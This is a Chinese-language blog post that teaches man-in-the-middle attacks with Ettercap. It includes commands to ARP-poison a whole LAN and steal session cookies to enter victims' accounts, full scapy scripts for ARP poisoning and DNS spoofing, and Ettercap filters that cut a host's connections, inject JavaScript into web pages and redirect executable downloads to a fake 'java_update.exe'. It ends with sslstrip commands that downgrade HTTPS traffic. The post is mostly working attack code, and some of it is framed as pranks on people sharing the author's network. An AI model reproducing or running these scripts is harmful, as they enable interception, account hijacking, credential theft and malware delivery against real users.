中间人攻击之ettercap嗅探

月影
2023-12-15 / 0 评论 / 96 阅读 / 正在检测是否收录...

某天下午,在逛公众号的时候发现这样一篇文章,这是一篇20年的老文章
https://mp.weixin.qq.com/s/B9WHr4tsYZFe-VBuXPzJWg
在变态中掺杂着技术,咱也不知道作者是在什么样的心境下才能写出的这篇文章
文中出现了社工、wifi破解、中间人攻击、钓鱼、免杀等技术,那今天就深入学习一下ettercap这款经典工具的具体用法吧

首先

中间人攻击:

中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间,这台计算机就称为“中间人”。

Github地址:https://github.com/Ettercap

   今天要讲的主要是基于Ettercap的中间人攻击,在它的选项栏里有四种:ARP缓存投毒,ICMP重定向,端口监听,DHCP欺骗。在这里要介绍一下ARP欺骗、DNS欺骗、会话劫持、密码嗅探以及SSL加密的密码嗅探。其实Ettercap的功能是很强大的,从它的插件就可以看到功能有:发现可疑ARP活动、ARP响应、DNS欺骗、Dos攻击、发现连接(交换环境)、发现Ettercap活动、列出子网未使用的IP、隔离主机、MAC泛洪、ssltrip等。

0x01 ARP欺骗与DNS欺骗

  中间人攻击常见的两种方法:ARP欺骗、DNS欺骗。

  ARP欺骗: 在实现TCP/IP协议的网络环境下,一个ip包走到哪里,要怎么走是靠路由表定义,但是,当ip包到达该网络后,哪台机器响应这个ip包却是靠该ip包中所包含的硬件mac地址来识别。也就是说,只有机器的硬件mac地址和该ip包中的硬件mac地址相同的机器才会应答这个ip包,因为在网络中,每一台主机都会有发送ip包的时候,所以,在每台主机的内存中,都有一个 arp--> 硬件mac 的转换表。通常是动态的转换表(该arp表可以手工添加静态条目)。也就是说,该对应表会被主机在一定的时间间隔后刷新。这个时间间隔就是ARP高速缓存的超时时间。通常主机在发送一个ip包之前,它要到该转换表中寻找和ip包对应的硬件mac地址,如果没有找到,该主机就发送一个ARP广播包,于是,主机刷新自己的ARP缓存。然后发出该ip包。在此推荐FB上的一篇文章: 中间人攻击-ARP毒化

  DNS欺骗: 目标将其DNS请求发送到攻击者这里,然后攻击者伪造DNS响应,将正确的IP地址替换为其他IP,之后你就登陆了这个攻击者指定的IP,而攻击者早就在这个IP中安排好了一个伪造的网站如某银行网站,从而骗取用户输入他们想得到的信息,如银行账号及密码等,这可以看作一种网络钓鱼攻击的一种方式。对于个人用户来说,要防范DNS劫持应该注意不点击不明的连接、不去来历不明的网站、不要在小网站进行网上交易,最重要的一点是记清你想去网站的域名,当然,你还可以把你常去的一些涉及到机密信息提交的网站的IP地址记下来,需要时直接输入IP地址登录。在此还推荐FB上的一篇文章: 中间人攻击-DNS欺骗

0x02 中间人攻击

  在大多数正常的网络环境下,要想获得局域网内其他主机的流量,使用ARP欺骗是很好的方式,除非是自己搭建的网络环境。基于ARP欺骗的中间人攻击是一种很常见的手段。下面以Ettercap的使用为例,来进行展示。

 ARP欺骗之会话劫持:

ettercap -i eth0 -T -M arp:remote /10.0.0.1/ // 欺骗局域网内所有主机
ettercap -i eth0 -T -M arp:remote /10.0.0.1/ /10.0.0.12/ 欺骗IP为10.0.0.12的主机

2023-12-15T08:43:43.png

同时使用tcpdump抓包(当然也可以使用wireshark实时抓包并显示,但对本机压力比较大,建议使用tcpdump抓包,完成后再用wireshark显示):

tcpdump -i eth0

2023-12-15T08:44:18.png

经过一段时间的抓包之后就可以停止了。打开wireshark分析捕获到的数据包分析,使用过滤语法,找出含有cookies的数据包:

2023-12-15T08:44:41.png

复制出cookies的值,并在浏览器中利用,这里推荐一款好用的cooikes利用工具cookie-injecting-tools(地址:https://github.com/lfzark/cookie-injecting-tools)。利用成功后,刷新页面,就可以进入到被人的主页和网盘了:

2023-12-15T08:45:01.png

2023-12-15T08:45:12.png

DNS欺骗:

  使用ettercap进行的DNS欺骗是使用了它的一个插件,同时结合ARP欺骗,就可以达到很好的欺骗效果。这里不再重复介绍了。重点是下面使用python实现的ARP欺骗和DNS欺骗:

#!/usr/bin/python# arp-poisoning
 
import sys
from scapy.all import sniff, sendp, ARP, Ether
 
if len(sys.argv) < 2:
    print sys.argv[0] + " <iface>"
    sys.exit(0)
def arp_poison_callback(packet):
    # Got ARP request?
    if packet[ARP].op == 1:
        answer = Ether(dst=packet[ARP].hwsrc) / ARP()
        answer[ARP].op = "is-at"
        answer[ARP].hwdst = packet[ARP].hwsrc
        answer[ARP].psrc = packet[ARP].pdst
        answer[ARP].pdst = packet[ARP].psrc
 
        print "Fooling " + packet[ARP].psrc + " that " + \
              packet[ARP].pdst + " is me"
        sendp(answer, iface=sys.argv[1])
 
sniff(prn=arp_poison_callback,
      filter="arp",
      iface=sys.argv[1],
      store=0)
#!/usr/bin/env python
# dns-spoofing
#
# A simple DNS spoofing script
# It's batter with ARP-Spoofing
# and delete the local hosts file
# at same time.
# The hosts-file like this:
# 123.12.23.121 www.google.com
#
 
import sys
import getopt
import scapy.all as scapy
 
dev = "eth0"
filter = "udp port 53"
file = None
dns_map = {}
 
def handle_packet(packet):
    ip = packet.getlayer(scapy.IP)
    udp = packet.getlayer(scapy.UDP)
    dns = packet.getlayer(scapy.DNS)
 
    # standard (a record) dns query
    if dns.qr == 0 and dns.opcode == 0:
        queried_host = dns.qd.qname[:-1]
        resolved_ip = None
 
        if dns_map.get(queried_host):
            resolved_ip = dns_map.get(queried_host)
        elif dns_map.get('*'):
            resolved_ip = dns_map.get('*')
         
        if resolved_ip:
            dns_answer = scapy.DNSRR(rrname=queried_host + '.',
                                     ttl = 330,
                                     type="A",
                                     rclass="IN",
                                     rdata=resolved_ip)
            dns_reply = scapy.IP(src=ip.dst, dst=ip.src) / \
                    scapy.UDP(sport=udp.dport,dport=udp.sport) / \
                    scapy.DNS(
                        id = dns.id,
                        qr = 1,
                        aa = 0,
                        rcode = 0,
                        qd = dns.qd,
                        an = dns_answer
                    )
            print "Send %s has %s to %s" % (queried_host,resolved_ip,ip.src)
            scapy.send(dns_reply, iface=dev)
 
def usage():
    print sys.argv[0] + ' -f <hosts-file>  -i <dev>'
    sys.exit(1)
 
def parse_host_file(file):
    for line in open(file):
        line  = line.rstrip('\n')
 
        if line:
            (ip, host) = line.split()
            dns_map[host] = ip
try:
    cmd_opts = 'f:i:'
    opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
    usage()
 
for opt in opts:
    if opt[0] == '-i':
        dev = opt[1]
    elif opt[0] == '-f':
        file = opt[1]
    else:
        usage()
 
if file:
    parse_host_file(file)
else:
    usage()
 
print "Spoofing DNS requests on %s" % dev
scapy.sniff(iface=dev, filter=filter, prn=handle_packet)

上面的两个脚本的核心之处是使用了scapy(http://www.secdev.org/projects/scapy/doc/usage.html#starting-scapy)这个网络库,其功能十分的强大,使用简介,基本只需几行代码就可以进行特定的攻击,有时间要好好研究研究。

 Ettercap的包过滤:

  Ettercap的包过滤是一个比较好玩的功能了。再结合一点钓鱼技术的话,危害就比较大了。下面简单介绍几种过滤实例:

  Ettercap目录下也自带了一些过滤规则:

2023-12-15T08:46:19.png

在该目录下的etter.filter.examples文件里写了一些常用的过滤脚本:

2023-12-15T08:46:44.png

当然,更多使用说明可以查看一下man 手册: man etterfilter.里面对所有的过滤使用的函数都有详细的说明.下面举例:

  (1) kill掉某一主机:

  当你在心致勃勃地看片的时候,后面几个2b正在猛LOL,搞得看片跟看PPT一样,这个时候你是不是很不爽?是不是想揍他们一顿?好吧.我只想做一个安静的美男子,是时候kill他们了. 使用的过滤脚本为etter.filter.kill,如下:

if (ip.src == '10.0.0.16') {
      # sent the RST to both source and dest
      kill();
      # don't even forward the packet
      drop();
      msg("HaHa! a 2b(ip:10.0.0.16) has killed...\n");
 }

2023-12-15T08:47:46.png

使用ettercap加载此脚本(-q 安静模式,即不显示数据包信息):

2023-12-15T08:47:59.png

可以看到执行的效果:

2023-12-15T08:48:15.png

  (2) 替换网页的图片:

  貌似上面的恶搞还不爽,那就把他浏览网页时的图片换掉试试,使用的脚本是etter.filter.images,如下:

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!"); 
      # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("img src=", "img src=\"http://www.iyi8.com/uploadfile/2014/0921/20140921113722651.jpg\" ");
   replace("IMG SRC=", "img src=\"http://www.iyi8.com/uploadfile/2014/0921/20140921113722651.jpg\" ");
   msg("Filter Ran.\n");
}

 (3) JavaSproit注入:

  技术有限,这里就简单的弹个窗吧 :( 使用的脚本是etter.filter.alert:

if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "Accept-Encoding")) {
           replace("Accept-Encoding", "Accept-Rubbish!");
           msg("zapped Accept-Encoding!\n");
    }
}
if (ip.proto == TCP && tcp.src == 80) {
    if (search(DATA.data, "<body>")) {
        replace("<head>","<head><script type="text/javascript">alert('just for a test!');</script>");
        replace("<HEAD>","<HEAD><script type="text/javascript">alert('just for a test');</script>");
        msg("Filter run!...Exploit code injected ok!\n");
    }
}

(4)替换URL

# replace rmccurdy with your website
# replace the url with what ever exe you like
 
if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
      # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("keep-alive", "close" ");
   replace("Keep-Alive", "close" ");
}
 
if (ip.proto == TCP && search(DATA.data, ": application") ){
   # enable for logging log(DECODED.data, "/tmp/log.log");
   msg("found EXEn");
   # "Win32" is the first part of the exe example:
   # if the EXE started with "this program must be run in MSDOS mode" you could search for MSDOS etc ..
   if (search(DATA.data, "Win32")) {
      msg("doing nothingn");
   } else {
      replace("200 OK", "301 Moved Permanently Location: http://127.0.0.1/java_update.exe ");
      msg("redirect successn");
   }
}

0x03 SSL密码嗅探

  对SSL流量的嗅探,可以使用sslstrip这个工具,它的原理就是把所有的https流量降级为http流量。相当于一个中间人的角色,它与服务器建立正常的https廉洁,而与浏览器则使用http连接。使用时需要本机开启流量转发,将80端口的http流量同时转发到10000端口上,在10000端口上使用sslstrip来监听即可:

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
sslstrip -l 10000
0

评论 (0)

取消